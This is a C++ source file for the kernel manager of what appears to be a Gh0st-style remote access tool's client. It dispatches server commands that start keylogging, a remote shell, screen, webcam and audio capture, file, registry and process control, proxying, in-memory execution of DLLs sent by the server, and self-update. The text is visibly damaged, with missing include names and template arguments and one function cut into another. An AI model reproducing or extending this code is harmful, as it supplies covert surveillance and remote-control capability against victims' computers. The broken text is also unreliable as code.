// KernelManager.cpp: implementation of the CKernelManager class. // ////////////////////////////////////////////////////////////////////// #include "stdafx.h" #include "KernelManager.h" #include "Common.h" #include #include #include #include "ClientDll.h" #include "MemoryModule.h" #include "common/dllRunner.h" #include "server/2015Remote/pwd_gen.h" #include #include "IOCPUDPClient.h" #include "IOCPKCPClient.h" // UDP 协议仅能针对小包数据,且数据没有时序关联 IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, bool exit_while_disconnect) { if (conn->protoType == PROTO_HTTPS) return NULL; int type = conn->protoType == PROTO_RANDOM ? time(nullptr) % PROTO_RANDOM : conn->protoType; if (!conn->IsVerified() || type == PROTO_TCP) return new IOCPClient(bExit, exit_while_disconnect, MaskTypeNone, conn->GetHeaderEncType()); if (type == PROTO_UDP) return new IOCPUDPClient(bExit, exit_while_disconnect); if (type == PROTO_HTTP || type == PROTO_HTTPS) return new IOCPClient(bExit, exit_while_disconnect, MaskTypeHTTP, conn->GetHeaderEncType()); if (type == PROTO_KCP) { return new IOCPKCPClient(bExit, exit_while_disconnect); } return NULL; } ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit) { static ThreadInfo tKeyboard; tKeyboard.run = FOREVER_RUN; tKeyboard.p = new IOCPClient(bExit, false, MaskTypeNone, conn->GetHeaderEncType()); tKeyboard.conn = conn; tKeyboard.h = (HANDLE)__CreateThread(NULL, NULL, LoopKeyboardManager, &tKeyboard, 0, NULL); return &tKeyboard; } ////////////////////////////////////////////////////////////////////// // Construction/Destruction ////////////////////////////////////////////////////////////////////// CKernelManager::CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s) : m_conn(conn), m_hInstance(hInstance), CManager(ClientObject), g_bExit(s) { m_ulThreadCount = 0; #ifdef _DEBUG m_settings = { 5 }; #else m_settings = { 30 }; #endif m_nNetPing = -1; m_hKeyboard = kb; } CKernelManager::~CKernelManager() { Mprintf("~CKernelManager begin\n"); int i = 0; for (i=0;iinfo; PluginParam pThread = dll->param; #ifdef _DEBUG WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name); DllRunner* runner = new DefaultDllRunner(info.Name); #else DllRunner* runner = new MemoryDllRunner(); #endif HMEMORYMODULE module = runner->LoadLibraryA((char*)dll->buffer, info.Size); if (module) { switch (info.CallType) { case CALLTYPE_DEFAULT: while (S_CLIENT_EXIT != *pThread.Exit) Sleep(1000); break; case CALLTYPE_IOCPTHREAD: { PTHREAD_START_ROUTINE proc = (PTHREAD_START_ROUTINE)runner->GetProcAddress(module, "run"); Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed"); if (proc) { proc(&pThread); }else { while (S_CLIENT_EXIT != *pThread.Exit) Sleep(1000); } break; } default: break; } runner->FreeLibrary(module); } else { Mprintf("MemoryLoadLibrary '%s' failed\n", info.Name); } SAFE_DELETE(dll); SAFE_DELETE(runner); return 0x20250529; } DWORD WINAPI SendKeyboardRecord(LPVOID lParam) { CManager* pMgr = (CManager*)lParam; if (pMgr) { pMgr->Reconnect(); pMgr->Notify(); } return 0xDead0001; } VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) { bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT; if ((m_ulThreadCount = GetAvailableIndex()) == -1 && !isExit) { return Mprintf("CKernelManager: The number of threads exceeds the limit.\n"); } else if (!isExit) { m_hThread[m_ulThreadCount].p = nullptr; m_hThread[m_ulThreadCount].conn = m_conn; } switch (szBuffer[0]) { case CMD_AUTHORIZATION: { HANDLE hMutex = OpenMutex(SYNCHRONIZE, FALSE, "MASTER.EXE"); hMutex = hMutex ? hMutex : OpenMutex(SYNCHRONIZE, FALSE, "YAMA.EXE"); #ifndef _DEBUG if (hMutex == NULL) { // 没有互斥量,主程序可能未运行 Mprintf("!!! [WARN] Master program is not running.\n"); } #endif CloseHandle(hMutex); char buf[100] = {}, *passCode = buf + 5; memcpy(buf, szBuffer, min(sizeof(buf), ulLength)); std::string masterHash(skCrypt(MASTER_HASH)); const char* pwdHash = m_conn->pwdHash[0] ? m_conn->pwdHash : masterHash.c_str(); if (passCode[0] == 0) { std::string devId = getDeviceID(); memcpy(buf + 24, buf + 12, 8); // 消息签名 memcpy(buf + 96, buf + 8, 4); // 时间戳 memcpy(buf + 5, devId.c_str(), devId.length()); // 16字节 memcpy(buf + 32, pwdHash, 64); // 64字节 m_ClientObject->Send2Server((char*)buf, sizeof(buf)); Mprintf("Request for authorization update.\n"); } else { unsigned short* days = (unsigned short*)(buf + 1); unsigned short* num = (unsigned short*)(buf + 3); config* cfg = pwdHash == masterHash ? new config : new iniFile; cfg->SetStr("settings", "Password", *days <= 0 ? "" : passCode); cfg->SetStr("settings", "HMAC", *days <= 0 ? "" : buf + 64); Mprintf("Update authorization: %s, HMAC: %s\n", passCode, buf+64); delete cfg; g_bExit = S_SERVER_EXIT; } break; } case CMD_EXECUTE_DLL: { #ifdef _WIN64 static std::map> m_MemDLL; const int sz = 1 + sizeof(DllExecuteInfo); if (ulLength < sz)break; DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1); const char* md5 = info->Md5; auto find = m_MemDLL.find(md5); if (find == m_MemDLL.end() && ulLength == sz) { iniFile cfg(CLIENT_PATH); auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5")); if (md5.empty() || md5 != info->Md5 || !m_conn->IsVerified()) { // 第一个命令没有包含DLL数据,需客户端检测本地是否已经有相关DLL,没有则向主控请求执行代码 m_ClientObject->Send2Server((char*)szBuffer, ulLength); break; } Mprintf("Execute local DLL from registry: %s\n", md5.c_str()); binFile bin(CLIENT_PATH); auto local = bin.GetStr("settings", info->Name + std::string(".bin")); const BYTE* bytes = reinterpret_cast(local.data()); m_MemDLL[md5] = std::vector(bytes + sz, bytes + sz + info->Size); find = m_MemDLL.find(md5); } BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL; if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) { if (md5[0]) { m_MemDLL[md5] = std::vector(szBuffer + sz, szBuffer + sz + info->Size); iniFile cfg(CLIENT_PATH); cfg.SetStr("settings", info->Name + std::string(".md5"), md5); binFile bin(CLIENT_PATH); std::string buffer(reinterpret_cast(szBuffer), ulLength); bin.SetStr("settings", info->Name + std::string(".bin"), buffer); Mprintf("Save DLL to registry: %s\n", md5); } data = szBuffer + sz; } if (data) { PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn); CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL)); Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size); } #endif break; } case COMMAND_PROXY: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SHARE: case COMMAND_ASSIGN_MASTER: if (ulLength > 2) { switch (szBuffer[1]) { case SHARE_TYPE_YAMA_FOREVER: { auto v = StringToVector((char*)szBuffer + 2, ':', 3); if (v[0].empty() || v[1].empty()) break; iniFile cfg(CLIENT_PATH); auto now = time(nullptr); auto valid_to = atoi(cfg.GetStr("settings", "valid_to").c_str()); if (now <= valid_to) break; // Avoid assign again cfg.SetStr("settings", "master", v[0]); cfg.SetStr("settings", "port", v[1]); float days = atof(v[2].c_str()); if (days > 0) { auto valid_to = time(0) + days*86400; // overflow after 2038-01-19 cfg.SetStr("settings", "valid_to", std::to_string(valid_to)); } } case SHARE_TYPE_YAMA: { auto a = NewClientStartArg((char*)szBuffer + 2, IsSharedRunning, TRUE); if (nullptr!=a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0)); break; } case SHARE_TYPE_HOLDINGHANDS: break; } } break; case CMD_HEARTBEAT_ACK: if (ulLength > 8) { uint64_t n = 0; memcpy(&n, szBuffer + 1, sizeof(uint64_t)); auto system_ms = std::chrono::time_point_cast( std::chrono::system_clock::now() ); m_nNetPing = int((system_ms.time_since_epoch().count() - n) / 2); } break; case CMD_MASTERSETTING: if (ulLength > sizeof(MasterSettings)) { memcpy(&m_settings, szBuffer + 1, sizeof(MasterSettings)); } break; case COMMAND_KEYBOARD: //键盘记录 { if (m_hKeyboard) { CloseHandle(__CreateThread(NULL, 0, SendKeyboardRecord, m_hKeyboard->user, 0, NULL)); } else { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopKeyboardManager, &m_hThread[m_ulThreadCount], 0, NULL);; } break; } case COMMAND_TALK: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount].user = m_hInstance; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopTalkManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SHELL: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopShellManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SYSTEM: //远程进程管理 { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProcessManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WSLIST: //远程窗口管理 { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopWindowManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_BYE: { BYTE bToken = COMMAND_BYE;// 被控端退出 m_ClientObject->Send2Server((char*)&bToken, 1); g_bExit = S_CLIENT_EXIT; Mprintf("======> Client exit \n"); break; } case SERVER_EXIT: { // 主控端退出 g_bExit = S_SERVER_EXIT; Mprintf("======> Server exit \n"); break; } case COMMAND_SCREEN_SPY: { UserParam* user = new UserParam{ ulLength > 1 ? new BYTE[ulLength - 1] : nullptr, int(ulLength-1) }; if (ulLength > 1) { memcpy(user->buffer, szBuffer + 1, ulLength - 1); } m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount].user = user; m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopScreenManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_LIST_DRIVE : { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopFileManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_WEBCAM: { static bool hasCamera = WebCamIsExist(); if (!hasCamera) break; m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopVideoManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_AUDIO: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopAudioManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_REGEDIT: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopRegisterManager, &m_hThread[m_ulThreadCount], 0, NULL);; break; } case COMMAND_SERVICES: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType()); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL,0, LoopServicesManager, &m_hThread[m_ulThreadCount], 0, NULL); break; } case COMMAND_UPDATE: { ULONGLONG size=0; memcpy(&size, (const char*)szBuffer + 1, sizeof(ULONGLONG)); if (WriteBinaryToFile((const char*)szBuffer + 1 + sizeof(ULONGLONG), size)) { g_bExit = S_CLIENT_UPDATE; } break; } default: { Mprintf("!!! Unknown command: %d\n", unsigned(szBuffer[0])); break; } } }